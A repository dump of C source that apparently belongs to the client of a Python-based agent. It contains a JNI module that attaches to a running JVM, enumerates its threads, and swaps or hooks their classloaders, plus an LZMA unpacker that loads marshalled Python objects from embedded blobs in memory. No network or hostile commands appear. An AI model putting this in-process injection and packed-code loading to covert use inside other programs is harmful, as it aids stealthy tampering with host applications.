    dprint("ctx->getContextClassLoader: %p\n", ctx->getContextClassLoader);

    ctx->forName = (*env)->GetStaticMethodID(
        env, ctx->Class, "forName", "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "forName method not found");
        return JNI_ERR;
    }

    dprint("ctx->getContextClassLoader: %p\n", ctx->forName);

    dprint("__j_ClassLoader %p\n", __j_ClassLoader);

    ctx->getClass = (*env)->GetMethodID(env, __j_ClassLoader, "getClass", "()Ljava/lang/Class;");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "getClass method not found");
        return JNI_ERR;
    }

    dprint("__j_ClassLoader - getClass: %p\n", __j_ClassLoader, ctx->getClass);

    ctx->getClassName = (*env)->GetMethodID(env, ctx->Class, "getName", "()Ljava/lang/String;");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "getName (Class) method not found");
        return JNI_ERR;
    }

    if (__preferred_loadable_class) {
        ctx->prefferedName = (*env)->NewStringUTF(env, __preferred_loadable_class);
        if ((*env)->ExceptionCheck(env)) {
            PyErr_SetString(jvm_error, "NewStringUTF failed");
            return JNI_ERR;
        }
    } else {
        ctx->prefferedName = NULL;
    }

    ctx->payload = NULL;

    return JNI_OK;
}

static
PyObject * Py_get_JVM(PyObject *self, PyObject *args) {
    if  (!__jvm) {
        PyErr_SetString(jvm_error, "JVM was not loaded yet");
        return NULL;
    }

    return PyCapsule_New(__jvm, "JVM", NULL);
}

typedef jint (*thread_enum_cb)(JNIEnv *env, jobject Thread, void *data);

static jint jvm_for_each_thread(JNIEnv *env, thread_enum_cb callback, void *data) {
    jint retval = JNI_ERR;
    void *penv = NULL;
    jclass Thread;
    jclass ThreadArray;
    jint active_threads;
    jmethodID method_activeCount;
    jmethodID method_enumerate;
    jint i;
    jobject iThread;

    if (__jvm == NULL) {
        dprint("jvm_enumerate_thread_classloaders - __jvm is not initialized\n");
        return JNI_EEXIST;
    }

    if (env == NULL) {
        retval = (*__jvm)->GetEnv(__jvm, &penv,      JNI_VERSION_1_6);
        if (retval != JNI_OK)
            return retval;

        env = penv;
    }

    Thread = (*env)->FindClass(env, "java/lang/Thread");
    if ((*env)->ExceptionCheck(env)) {
        dprint("java/lang/Thread not found\n");
        return JNI_ERR;
    }

    ThreadArray = (*env)->FindClass(env, "[Ljava/lang/Thread;");
    if ((*env)->ExceptionCheck(env)) {
        dprint("[java/lang/Thread not found\n");
        return JNI_ERR;
    }

    method_activeCount = (*env)->GetStaticMethodID(env, Thread, "activeCount", "()I");
    if ((*env)->ExceptionCheck(env)) {
        dprint("activeCount method not found\n");
        return JNI_ERR;
    }

    method_enumerate = (*env)->GetStaticMethodID(env, Thread, "enumerate", "([Ljava/lang/Thread;)I");
    if ((*env)->ExceptionCheck(env)) {
        dprint("enumerate method not found\n");
        return JNI_ERR;
    }

    active_threads = (*env)->CallIntMethod(env, Thread, method_activeCount);
    if ((*env)->ExceptionCheck(env)) {
        dprint("activeCount() call failed\n");
        return JNI_ERR;
    }

    dprint("Active threads: %d\n", active_threads);

    ThreadArray = (*env)->NewObjectArray(env, active_threads, Thread, NULL);
    if ((*env)->ExceptionCheck(env)) {
        dprint("new Thread[%d] failed\n", active_threads);
        return JNI_ERR;
    }

    active_threads = (*env)->CallIntMethod(env, Thread, method_enumerate, ThreadArray);
    if ((*env)->ExceptionCheck(env)) {
        dprint("enumerate() call failed\n");
        return JNI_ERR;
    }

    dprint("enumerate() return %d threads\n", active_threads);

    for (i=0; i<active_threads; i++) {
        dprint("enumerate() - process %d thread\n", i);
        iThread = (*env)->GetObjectArrayElement(env, ThreadArray, i);
        if ((*env)->ExceptionCheck(env)) {
            dprint("enumerate(): get %d element of array list failed\n", i);
            return JNI_ERR;
        }

        dprint("enumerate() - process %d thread - class at %p, callback at %p\n",
            i, iThread, callback);

        retval = callback(env, iThread, data);

        dprint("enumerate() - retval: %d\n");

        if (retval != JNI_OK) {
            return retval;
        }
    }

    return JNI_OK;
}

static jint __thread_class_loader_name_and_class(
    JNIEnv *env, struct __thread_name_and_classloader_to_dict_ctx *ctx, jobject thread,
    char **name, jobject *classloader) {

    const char *utfchars = NULL;
    jobject threadContextLoader;
    jobject threadContextLoaderClass;
    jobject threadContextLoaderClassName;

    dprint("__thread_class_loader_name_and_class: 1 %p, %p\n", thread, ctx->getContextClassLoader);
    threadContextLoader = (*env)->CallObjectMethod(env, thread, ctx->getContextClassLoader);
    dprint("__thread_class_loader_name_and_class: 1.1\n");
    if ((*env)->ExceptionCheck(env)) {
        dprint("Thread.getContextClassLoader() failed\n");
        return JNI_ERR;
    }

    dprint("__thread_class_loader_name_and_class: 2\n");
    if (threadContextLoader != NULL) {
            dprint("__thread_class_loader_name_and_class: 3\n");

        threadContextLoaderClass = (*env)->CallObjectMethod(env, threadContextLoader, ctx->getClass);
        if ((*env)->ExceptionCheck(env)) {
            dprint("ContextLoader.getClass() failed\n");
            return JNI_ERR;
        }

        dprint("__thread_class_loader_name_and_class: 4\n");

        threadContextLoaderClassName = (*env)->CallObjectMethod(env, threadContextLoaderClass, ctx->getClassName);
        if ((*env)->ExceptionCheck(env)) {
            dprint("Class.getName() failed\n");
            return JNI_ERR;
        }

        dprint("__thread_class_loader_name_and_class: 4\n");

        utfchars = (*env)->GetStringUTFChars(env, threadContextLoaderClassName, NULL);
        if ((*env)->ExceptionCheck(env)) {
            PyErr_SetString(jvm_error, "Could not extract string from Java String");
            return JNI_ERR;
        }
        if (name)
            *name = strdup(utfchars);

        if (classloader)
            *classloader = threadContextLoader;
    } else {
        if (name)
            *name = strdup("{{ bootstrap }}");

        if (classloader)
            *classloader = NULL;
    }

    dprint("__thread_class_loader_name_and_class: 5\n");
    return JNI_OK;
}


static jint __find_preferred_classloader_finder(JNIEnv *env, jobject thread, void *data) {
    struct __thread_name_and_classloader_to_dict_ctx *ctx = data;

    jint err = JNI_ERR;
    jobject threadName = NULL;
    jobject classLoader = NULL;
    char *classLoaderName = NULL;
    jclass loadedClass = NULL;

    if (ctx->payload != NULL) {
        return JNI_OK;
    }

    dprint("__find_preferred_classloader_finder - get thread name using %p..\n", ctx->getName);

    threadName = (*env)->CallObjectMethod(env, thread, ctx->getName);
    if ((*env)->ExceptionCheck(env)) {
        dprint("Thread.getName() failed\n");
        return JNI_ERR;
    }

    dprint("__find_preferred_classloader_finder - threadName:  %p..\n", threadName);

    err = __thread_class_loader_name_and_class(env, ctx, thread, &classLoaderName, &classLoader);
    if (err != JNI_OK) {
        return err;
    }

    dprint("__find_preferred_classloader_finder: class loader name: %s\n", classLoaderName);

    if (__preferred_classloader_name) {
        dprint("__find_preferred_classloader_finder: __preferred_classloader_name = %s\n",
            __preferred_classloader_name);
    }

    if (__preferred_classloader_name && __preferred_classloader_name[0] != '\0' &&
        !strcmp(classLoaderName, __preferred_classloader_name)) {
        ctx->payload = classLoader;
    } else {
        // Try to findLoadedClass
        // Ignore result. If no exception, then classLoader can load requested
        // class

        if (ctx->prefferedName != NULL && classLoader != NULL) {
            loadedClass = (*env)->CallStaticObjectMethod(
                env, ctx->Class, ctx->forName, ctx->prefferedName, JNI_TRUE, classLoader);
            if ((*env)->ExceptionCheck(env) == JNI_OK) {
                if (loadedClass) {
                    dprint("Found classLoader for class %s: %s\n",
                        __preferred_loadable_class, classLoaderName);
                    ctx->payload = classLoader;
                } else {
                    dprint("Class %s could not be resolved with %s (%p)\n",
                        __preferred_loadable_class, classLoaderName, classLoader);
                }
            } else {
                dprint("Class %s could not be resolved with %s (%p)\n",
                    __preferred_loadable_class, classLoaderName, classLoader);
                (*env)->ExceptionClear(env);
            }
        }
    }

    free(classLoaderName);
    return JNI_OK;
}


static jobject __find_preferred_classloader(JNIEnv *env) {
    struct __thread_name_and_classloader_to_dict_ctx ctx;

    if (!__jvm) {
        dprint("JVM is not initialized yet\n");
        return NULL;
    }

    if (__j_preferred_classloader != NULL)
        return __j_preferred_classloader;

    if (!((__preferred_classloader_name != NULL && __preferred_classloader_name[0] != '\0') ||
            (__preferred_loadable_class != NULL && __preferred_loadable_class[0] != '\0')))
        goto lbDefault;

    dprint("Search for preferred classloader\n");

    if (Py_new__thread_name_and_classloader_to_dict_ctx(env, &ctx) != JNI_OK)
        goto lbDefault;

    if (jvm_for_each_thread(env, __find_preferred_classloader_finder, &ctx) != JNI_OK)
        goto lbError;

    if (ctx.payload) {
        dprint("Found preferred classloader\n");
        __j_preferred_classloader = (*env)->NewGlobalRef(env, (jobject) ctx.payload);
        return __j_preferred_classloader;
    }

  lbError:
    dprint("Couldn't find preferred classloader, use cached default\n");

  lbDefault:
    return __j_initial_classloader;
}

static
PyObject * Py_get_PreferredClassLoader(PyObject *self, PyObject *args) {
    jobject classloader = NULL;
    JNIEnv *env = NULL;
    PyObject *PyJNIEnv = NULL;

    if (__j_preferred_classloader != NULL)
        return PyCapsule_New(
            __j_preferred_classloader, "PreferredClassLoader", NULL);

    if (!PyArg_ParseTuple(args, "O", &PyJNIEnv)) {
        return NULL;
    }

    env = PyCapsule_GetPointer(PyJNIEnv, "JNIEnv");
    if (env == NULL) {
        return NULL;
    }

    classloader = __find_preferred_classloader(env);
    if (classloader == NULL)
        return NULL;

    return PyCapsule_New(classloader, "PreferredClassLoader", NULL);
}

static jclass get_thread_class(JNIEnv *env) {
    jclass Thread;

    env = Py_get_jni_env(env);
    if (env == NULL)
        return NULL;

    Thread = (*env)->FindClass(env, "java/lang/Thread");
    if ((*env)->ExceptionCheck(env)) {
        dprint("java/lang/Thread not found\n");
        return NULL;
    }

    return Thread;
}

static jint call_method(
    JNIEnv *env, jclass klass, jobject instance,
    jboolean is_static, const char *method,
    const char *signature, jobject *result, va_list a_list) {

    jmethodID method_id;
    jint retcode = JNI_ERR;
    jobject retval = NULL;

    if (is_static == JNI_TRUE) {
        method_id = (*env)->GetStaticMethodID(
            env, klass, method, signature);
    } else {
        method_id = (*env)->GetMethodID(
            env, klass, method, signature);
    }

    if ((*env)->ExceptionCheck(env)) {
        dprint(
            "call_method: method %s with signature %s not found\n",
            method, signature);
        goto lbExit;
    }

    if (is_static) {
        retval = (*env)->CallStaticObjectMethodV(
            env, klass, method_id, a_list);
    } else {
        retval = (*env)->CallObjectMethodV(
            env, instance, method_id, a_list);
    }
    if ((*env)->ExceptionCheck(env)) {
        dprint("call_method: call  failed\n", method);
        goto lbExit;
    }

    if (result != NULL) {
        *result = retval;
    }

    retcode = JNI_OK;

  lbExit:
    return retcode;
}

static jint call_class_method(
    JNIEnv *env, jclass klass, const char *method,
    const char *signature, jobject *result, ...) {

    jint ret;

    va_list a_list;
    va_start(a_list, result);

    ret = call_method(
        env, klass, NULL, JNI_TRUE, method,
        signature, result, a_list
    );

    va_end(a_list);

    return ret;
}

static jint call_instance_method(
    JNIEnv *env, jobject instance, const char *method,
    const char *signature, jobject *result, ...) {

    jint ret = JNI_ERR;
    jclass klass;

    va_list a_list;
    va_start(a_list, result);

    klass = (*env)->GetObjectClass(env, instance);
    if ((*env)->ExceptionCheck(env)) {
        dprint(
            "call_method: could not retrieve class of %p\n",
            instance);
        goto lbExit;
    }

    ret = call_method(
        env, klass, instance, JNI_FALSE,
        method, signature, result, a_list
    );

    va_end(a_list);

  lbExit:
    return ret;
}

static PyObject* Py_JString_to_PyString(JNIEnv *env, jobject jstr) {
    const char *utfchars = (*env)->GetStringUTFChars(env, jstr, NULL);
    PyObject *result;

    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "Could not extract string from Java String");
        return NULL;
    }

    if (utfchars == NULL) {
        result = PyUnicode_FromString("");
    } else {
        result = PyUnicode_FromString(utfchars);
    }

    (*env)->ReleaseStringUTFChars(env, jstr, utfchars);

    return result;
}

static jint __thread_name_and_classloader_to_dict(JNIEnv *env, jobject thread, void *data) {
    struct __thread_name_and_classloader_to_dict_ctx *ctx = data;

    jint err;
    jobject threadName;
    jobject classLoader;
    char *classLoaderName;


    PyObject *Py_threadName = NULL;
    PyObject *Py_classLoaderName = NULL;

    threadName = (*env)->CallObjectMethod(env, thread, ctx->getName);
    if ((*env)->ExceptionCheck(env)) {
        dprint("Thread.getName() failed\n");
        return JNI_ERR;
    }

    err = __thread_class_loader_name_and_class(env, ctx, thread, &classLoaderName, &classLoader);
    if (err != JNI_OK) {
        return err;
    }

    Py_classLoaderName = PyUnicode_FromString(classLoaderName);
    free(classLoaderName);

    if (Py_classLoaderName == NULL) {
        return JNI_ENOMEM;
    }

    Py_threadName = Py_JString_to_PyString(env, threadName);
    if (Py_threadName == NULL) {
        Py_DECREF(Py_classLoaderName);
        return JNI_ERR;
    }

    if (PyDict_SetItem((PyObject *) ctx->payload, Py_threadName, Py_classLoaderName) != 0) {
        Py_DECREF(Py_threadName);
        Py_DECREF(Py_classLoaderName);
        return JNI_ERR;
    }

    return JNI_OK;
}

// Search classloaders by threads
static
PyObject *Py_enumerate_threads_classloaders(PyObject *self, PyObject *args) {
    struct __thread_name_and_classloader_to_dict_ctx ctx;
    jint retval;

    JNIEnv *env = Py_get_jni_env(NULL);
    if (env == NULL) {
        return NULL;
    }

    if (Py_new__thread_name_and_classloader_to_dict_ctx(env, &ctx) != JNI_OK) {
        return NULL;
    }

    ctx.payload = (void*) PyDict_New();
    if (ctx.payload == NULL) {
        PyErr_SetString(jvm_error, "Couldn't create new dict");
        return NULL;
    }

    retval = jvm_for_each_thread(env, __thread_name_and_classloader_to_dict, &ctx);
    if (retval != JNI_OK) {
        Py_DECREF((PyObject *) ctx.payload);
        PyErr_SetString(jvm_error, "Error during threads enumeration");
        return NULL;
    }

    return (PyObject*) ctx.payload;
}


static
PyObject *Py_set_preferred_classloader_name(PyObject *self, PyObject *args) {
    char *new_classloader_name = NULL;
    JNIEnv *env = NULL;

    if (!PyArg_ParseTuple(args, "s", &new_classloader_name)) {
        return NULL;
    }

    if (__preferred_classloader_name != NULL) {
        free(__preferred_classloader_name);
        __preferred_classloader_name = NULL;
    }

    if (__j_preferred_classloader != NULL) {
        env = Py_get_jni_env(NULL);
        if (env == NULL)
            return NULL;
        (*env)->DeleteGlobalRef(env, __j_preferred_classloader);
        __j_preferred_classloader = NULL;
    }

    if (new_classloader_name != NULL && new_classloader_name[0] != '\0') {
        __preferred_classloader_name = strdup(new_classloader_name);
    }

    if (__preferred_classloader_name)
        return PyUnicode_FromString(__preferred_classloader_name);

    return Py_BuildValue("");
}

static
PyObject *Py_set_preferred_loadable_class(PyObject *self, PyObject *args) {
    JNIEnv* env;
    char *new_loadable_class = NULL;

    if (!PyArg_ParseTuple(args, "s", &new_loadable_class)) {
        return NULL;
    }

    if (__preferred_loadable_class != NULL) {
        free(__preferred_loadable_class);
        __preferred_loadable_class = NULL;
    }

    if (__j_preferred_classloader != NULL) {
        env = Py_get_jni_env(NULL);
        if (env == NULL)
            return NULL;
        (*env)->DeleteGlobalRef(env, __j_preferred_classloader);
        __j_preferred_classloader = NULL;
    }

    if (new_loadable_class != NULL && new_loadable_class[0] != '\0') {
        __preferred_loadable_class = strdup(new_loadable_class);
    }

    if (__preferred_loadable_class)
        return PyUnicode_FromString(__preferred_loadable_class);

    return Py_BuildValue("");
}

static
PyObject *Py_get_preferred_classloader_name(PyObject *self, PyObject *args) {
    if (__preferred_classloader_name != NULL)
        return PyUnicode_FromString(__preferred_classloader_name);

    return Py_BuildValue("");
}

static
PyObject *Py_get_preferred_loadable_class(PyObject *self, PyObject *args) {
    if (__preferred_loadable_class != NULL)
        return PyUnicode_FromString(__preferred_loadable_class);

    return Py_BuildValue("");
}

static
PyObject *Py_set_ClassLoader(PyObject *self, PyObject *args) {
    JNIEnv *env = NULL;
    jobject classloader = NULL;
    jobject currentThread = NULL;
    jobject retval;
    jclass Thread = NULL;
    jint ret;

    if (__jvm == NULL) {
        PyErr_SetString(jvm_error, "JVM was not loaded yet");
        return NULL;
    }

    env = Py_get_jni_env(NULL);
    if (!env)
        return NULL;

    dprint("Get Thread's JNIEnv: %p\n", env);

    classloader = __find_preferred_classloader(env);
    if (classloader == NULL) {
        PyErr_SetString(
            jvm_error, "Preferred classloader was not found");
        return NULL;
    }

    dprint("Initial: JVM: %p, ClassLoader: %p\n", __jvm, classloader);

    Thread = get_thread_class(env);
    if (Thread == NULL) {
        PyErr_SetString(jvm_error, "Could not find Thread class");
        return NULL;
    }

    dprint("Get Thread class: %p\n", Thread);

    ret = call_class_method(
        env, Thread, "currentThread", "()Ljava/lang/Thread;",
        &currentThread);
    if (ret != JNI_OK) {
        PyErr_SetString(jvm_error, "Could not find current JVM Thread");
        return NULL;
    }

    dprint("Get current thread: %p\n", currentThread);

    ret = call_instance_method(
        env, currentThread, "setContextClassLoader", "(Ljava/lang/ClassLoader;)V",
        &retval, classloader);

    if (ret != JNI_OK) {
        PyErr_SetString(jvm_error, "Iteration failed");
        return NULL;
    }

    return PyBool_FromLong(1);
}


static jclass JNICALL __multi_FindClass(JNIEnv *env, const char *name) {
    jclass result = NULL;
    jstring className = NULL;

    dprint(
        "FindClass called (ICL: %p PCL: %p)\n",
        __j_initial_classloader, __j_preferred_classloader
    );

    if (__j_preferred_classloader || __j_initial_classloader) {
        dprint(
            "Classloaders: Preferred: %p Initial: %p\n",
            __j_preferred_classloader, __j_initial_classloader);

        className = (*env)->NewStringUTF(env, name);
        if ((*env)->ExceptionCheck(env)) {
            dprint("FindClass mapping failed for %s\n", name);
            return NULL;
        }
        dprint("Search %s (mapped as %p)\n", name, className);
    }

    if (className) {
        if (__j_preferred_classloader) {
            result = (*env)->CallObjectMethod(
                env, __j_preferred_classloader, __j_ClassLoader_findClass, className);

            dprint("Search using preferred classloader: %s -> %p\n", name, result);

            if ((*env)->ExceptionCheck(env)) {
                dprint("Hooked PreferredClassloader->FindClass(%s) - failed\n", name);
                (*env)->ExceptionClear(env);
                result = NULL;
            }

            if (result != NULL) {
                dprint("Return %p\n", result);
                return result;
            }
        }

        if (__j_initial_classloader) {
            result = (*env)->CallObjectMethod(
                env, __j_initial_classloader, __j_ClassLoader_findClass, className);

            dprint("Search using initial classloader: %s -> %p\n", name, result);

            if ((*env)->ExceptionCheck(env)) {
                dprint("Hooked InitialClassloader->FindClass(%s) - failed\n", name);
                (*env)->ExceptionClear(env);
                result = NULL;
            }

            if (result != NULL) {
                dprint("Return %p\n", result);
                return result;
            }
        }
    }

    dprint("Fallback to bootstrap classloader for %s\n", name);
    return (*env)->FindClass(env, name);
}

static
PyObject *Py_find_class(PyObject *self, PyObject *args) {
    PyObject *PyJNIEnv;
    JNIEnv *env;
    char *class_name;
    jclass result;

    if (!PyArg_ParseTuple(args, "Os", &PyJNIEnv, &class_name)) {
        return NULL;
    }

    env = PyCapsule_GetPointer(PyJNIEnv, "JNIEnv");
    if (env == NULL) {
        return NULL;
    }

    result = __multi_FindClass(env, class_name);
    if (result == NULL)
        return Py_BuildValue("");

    return PyCapsule_New(result, "Class", NULL);
}

static PyMethodDef JVM_Methods[] = {
    { "get_jvm", Py_get_JVM, METH_NOARGS, DOC("Get pointer to JVM") },
    { "find_class", Py_find_class, METH_VARARGS, DOC("Call hinted FindClass") },
    { "get_preferred_classloader", Py_get_PreferredClassLoader,
      METH_VARARGS, DOC("Get pointer to initializer thread's ClassLoader") },
    { "set_preferred_classloader_name", Py_set_preferred_classloader_name,
      METH_VARARGS, DOC("Class name of required default classloader") },
    { "get_preferred_classloader_name", Py_get_preferred_classloader_name,
      METH_NOARGS, DOC("Get current class name of requried default classloader") },
    { "set_preferred_loadable_class", Py_set_preferred_loadable_class,
      METH_VARARGS, DOC("Class name of class which required classloader should be able to load") },
    { "get_preferred_loadable_class", Py_get_preferred_loadable_class,
      METH_NOARGS, DOC("Get current class name of class which required classloader should be able to load") },
    { "enumerate_threads_classloaders", Py_enumerate_threads_classloaders,
      METH_NOARGS, DOC("Get dict of thread names and names of their classloaders") },
    { "apply_preferred_classloader", Py_set_ClassLoader, METH_NOARGS,
      DOC("initializer thread's ClassLoader to current thread") },
    { NULL, NULL },		/* Sentinel */
};
/*
static struct PyModuleDef JvmModuleDef =
{
    PyModuleDef_HEAD_INIT,
    "jvm", 
    jvm_module_doc, 
    -1,   
    JVM_Methods
};
*/
void setup_jvm_class(void) {
    /*PyObject *jvm_klass = PyModule_Create(&JvmModuleDef);
    if (!jvm_klass) {
        return NULL;
    }

    jvm_error = PyErr_NewException("jvm.error", NULL, NULL);
    Py_INCREF(jvm_error);
    PyModule_AddObject(jvm_klass, "error", jvm_error);
    */
    dprint("NOT IMPLEMENTED: broken jvm setup\n");
    return NULL;
}

static
void __jni_deinit(int status, void *data) {
    dprint("JVM deinitialization\n");

    if (__jvm == NULL)
        return;

    // Do nothing for now
}

JNIEXPORT jint JNICALL
JNI_OnLoad(JavaVM *vm, void *reserved) {
    jclass Thread;
    jobject classLoader;
    JNIEnv* env;
    jobject currentThread;
    jint ret;
    JavaVMAttachArgs args;

    if (!vm) {
        return 0;
    }

    dprint("JVM provided: %p\n", vm);

    __jvm = vm;

    ret = (*vm)->GetEnv(vm, &env,  JNI_VERSION_1_6);
    if (ret != JNI_OK) {
        if (ret == JNI_EDETACHED) {
            dprint("JVM Attach required\n");
            ret = (*vm)->AttachCurrentThread(vm, &env, (void *)&args);
            if (ret == JNI_OK) {
                dprint("Attached to JVM: %s ver %08x\n", args.name, args.version);
            }
        }

        if (ret != JNI_OK) {
            dprint("Failed to get JNIEnv: %d\n", ret);
            return JNI_ERR;
        }
    }

    Thread = get_thread_class(env);
    if (Thread == NULL) {
        return JNI_ERR;
    }

    ret = call_class_method(
        env, Thread, "currentThread", "()Ljava/lang/Thread;",
        &currentThread);
    if (ret != JNI_OK) {
        return ret;
    }

    dprint("Current Thread: %p\n", currentThread);

    ret = call_instance_method(
        env, currentThread, "getContextClassLoader", "()Ljava/lang/ClassLoader;",
        &classLoader);
    if (ret != JNI_OK) {
        return ret;
    }

    dprint("Current Thread ClassLoader: %p\n", classLoader);

    __j_initial_classloader = (*env)->NewGlobalRef(env, classLoader);
    if ((*env)->ExceptionCheck(env)) {
        dprint("NewGlobalRef failed");
        __j_initial_classloader = NULL;
        return JNI_ENOMEM;
    }

    dprint("New global ref to Current Thread ClassLoader: %p\n", __j_initial_classloader);

    __j_ClassLoader = (*env)->FindClass(env, "java/lang/ClassLoader");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "java/lang/ClassLoader class not found");
        return JNI_ERR;
    }

    __j_ClassLoader = (*env)->NewGlobalRef(env, __j_ClassLoader);

    dprint("Cache ClassLoader class: %p\n", __j_ClassLoader);

    __j_ClassLoader_findClass = (*env)->GetMethodID(
        env, __j_ClassLoader, "findClass", "(Ljava/lang/String;)Ljava/lang/Class;");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "findClass method not found");
        return JNI_ERR;
    }

    dprint("Cache ClassLoader.findClass methodId: %p\n", __j_ClassLoader_findClass);

#ifndef _WIN32
    on_exit(__jni_deinit, NULL);
#endif

    return JNI_VERSION_1_6;
}


================================================
FILE: client/common/lzmaunpack.c
================================================

/* --- Code for inlining --- */

#ifndef UNCOMPRESSED
#include "LzmaDec.h"

#ifdef _WIN32
#define ALLOC(x) VirtualAlloc(NULL, x, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
#define FREE(x, size) VirtualFree(x, 0, MEM_RELEASE)
#define INVALID_ALLOC NULL
#else
#include <sys/mman.h>
#define ALLOC(size) mmap(NULL, size + (4096 - size%4096), PROT_WRITE	\
                         | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
#define FREE(x, size) munmap(x, size + (4096 - size%4096))
#define INVALID_ALLOC MAP_FAILED
#endif

static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }
static void _lzfree(void *p, void *address) { p = p; free(address); }
static ISzAlloc _lzallocator = { _lzalloc, _lzfree };
#define lzmafree(x, size) do { FREE(x, size);}  while (0)

#else
#define lzmafree(x, size) do {} while (0)
#endif


static unsigned int charToUInt(const char *data) {
    union {
      unsigned int l;
      unsigned char c[4];
    } x;

    x.c[3] = data[0];
    x.c[2] = data[1];
    x.c[1] = data[2];
    x.c[0] = data[3];

    return x.l;
}

static void *lzmaunpack(const char *data, size_t size, Py_ssize_t *puncompressed_size) {
    unsigned char *uncompressed = NULL;
    SizeT uncompressed_size = 0;

#ifndef UNCOMPRESSED
    const Byte *wheader = (Byte *) data + sizeof(unsigned int);
    const Byte *woheader = (Byte *) wheader + LZMA_PROPS_SIZE;

    ELzmaStatus status;

    size_t srcLen;
    int res;
#endif

    uncompressed_size = charToUInt(data);
    dprint("lzmaunpack(%s, %d) -> expected size = %d\n", data, size, uncompressed_size);

#ifndef UNCOMPRESSED
    uncompressed = ALLOC(uncompressed_size);
    if (uncompressed == INVALID_ALLOC) {
        return NULL;
    }

    srcLen = size - sizeof(unsigned int) - LZMA_PROPS_SIZE;

    res = LzmaDecode(
        uncompressed, &uncompressed_size, woheader, &srcLen, wheader,
        LZMA_PROPS_SIZE, LZMA_FINISH_ANY, &status, &_lzallocator
    );

    if (res != SZ_OK) {
        FREE(uncompressed, uncompressed_size);
        return NULL;
    }
#else
    uncompressed = data + sizeof(unsigned int);
#endif

    if (puncompressed_size) {
        *puncompressed_size = uncompressed_size;
    }

    return uncompressed;
}

static PyObject *PyObject_lzmaunpack(const char *data, size_t size) {
    PyObject * object;
    Py_ssize_t uncompressed_size = 0;

    void *uncompressed = lzmaunpack(data, size, &uncompressed_size);
    if (!uncompressed) {
        PyErr_SetString(PyExc_Exception, "LZMA error");
        return NULL;
    }

    dprint("PyMarshal_ReadObjectFromString(%p, %d [sizeof=%d])\n",
        uncompressed, (int) uncompressed_size, sizeof(uncompressed_size));

    object = PyMarshal_ReadObjectFromString(
        uncompressed, uncompressed_size);

    lzmafree(uncompressed, uncompressed_size);
    return object;
}

static PyObject *PyDict_lzmaunpack(const char *data, size_t size) {
    PyObject * object = NULL;

    unsigned int keys;
    unsigned int ksize, vsize, i;

    size_t offset;

    PyObject *k = NULL;
    PyObject *v = NULL;

    Py_ssize_t uncompressed_size = 0;
    void *uncompressed = lzmaunpack(data, size, &uncompressed_size);
    if (!uncompressed) {
        return NULL;
    }

    object = PyDict_New();
    if (!object) {
        goto lbExit;
    }

    keys = charToUInt(uncompressed);

    for (i=0, offset=4; i<keys; i++) {
        ksize = charToUInt((char *) uncompressed + offset + 0);
        vsize = charToUInt((char *) uncompressed + offset + 4);

        offset += 8;

        k = PyUnicode_FromStringAndSize((char *) uncompressed + offset, ksize);
        offset += ksize;

        v = PyBytes_FromStringAndSize((char *) uncompressed + offset, vsize);
        offset += vsize;

        if (!k || !v) {
            Py_XDECREF(k);
            Py_XDECREF(v);
            Py_XDECREF(object);
            object = NULL;
            goto lbExit;
        }

        PyDict_SetItem(object, k, v);
        Py_DECREF(k);
        Py_DECREF(v);
    }

 lbExit:
    lzmafree(uncompressed, uncompressed_size);
    return object;
}


================================================
FILE: client/common/uthash.h
================================================
/*
Copyright (c) 2003-2018, Troy D. Hanson     http://troydhanson.github.com/uthash/
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright
      notice, this list of conditions and the following disclaimer.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#ifndef UTHASH_H
#define UTHASH_H

#define UTHASH_VERSION 2.1.0

#include <string.h>   /* memcmp, memset, strlen */
#include <stddef.h>   /* ptrdiff_t */
#include <stdlib.h>   /* exit */

/* These macros use decltype or the earlier __typeof GNU extension.
   As decltype is only available in newer compilers (VS2010 or gcc 4.3+
   when compiling c++ source) this code uses whatever method is needed
   or, for VS2008 where neither is available, uses casting workarounds. */
#if !defined(DECLTYPE) && !defined(NO_DECLTYPE)
#if defined(_MSC_VER)   /* MS compiler */
#if _MSC_VER >= 1600 && defined(__cplusplus)  /* VS2010 or newer in C++ mode */
#define DECLTYPE(x) (decltype(x))
#else                   /* VS2008 or older (or VS2010 in C mode) */
#define NO_DECLTYPE
#endif
#elif defined(__BORLANDC__) || defined(__ICCARM__) || defined(__LCC__) || defined(__WATCOMC__)
#define NO_DECLTYPE
#else                   /* GNU, Sun and other compilers */
#define DECLTYPE(x) (__typeof(x))
#endif
#endif

#ifdef NO_DECLTYPE
#define DECLTYPE(x)
#define DECLTYPE_ASSIGN(dst,src)                                                 \
do {                                                                             \
  char **_da_dst = (char**)(&(dst));                                             \
  *_da_dst = (char*)(src);                                                       \
} while (0)
#else
#define DECLTYPE_ASSIGN(dst,src)                                                 \
do {                                                                             \
  (dst) = DECLTYPE(dst)(src);                                                    \
} while (0)
#endif

